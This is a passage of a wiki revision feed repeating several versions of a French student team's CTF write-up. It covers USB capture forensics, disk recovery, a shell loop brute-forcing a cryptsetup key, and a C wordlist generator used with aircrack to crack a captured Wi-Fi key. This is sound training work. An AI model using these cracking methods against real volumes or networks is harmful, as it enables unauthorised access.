  		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
 			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
 				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
 					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
 						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
 							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
 								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
 									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
 										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
 								}&lt;br /&gt;
 							}&lt;br /&gt;
 						}&lt;br /&gt;
 					}&lt;br /&gt;
 				}&lt;br /&gt;
 			}&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58333</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58333"/>
				<updated>2022-01-20T13:03:58Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
  		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
 			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
 				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
 					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
 						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
 							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
 								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
 									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
 										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
 								}&lt;br /&gt;
 							}&lt;br /&gt;
 						}&lt;br /&gt;
 					}&lt;br /&gt;
 				}&lt;br /&gt;
 			}&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58332</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58332"/>
				<updated>2022-01-20T13:03:33Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
 		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
								}&lt;br /&gt;
							}&lt;br /&gt;
						}&lt;br /&gt;
					}&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58330</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58330"/>
				<updated>2022-01-20T13:02:05Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Existe-t-il encore de vraies brutes ? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
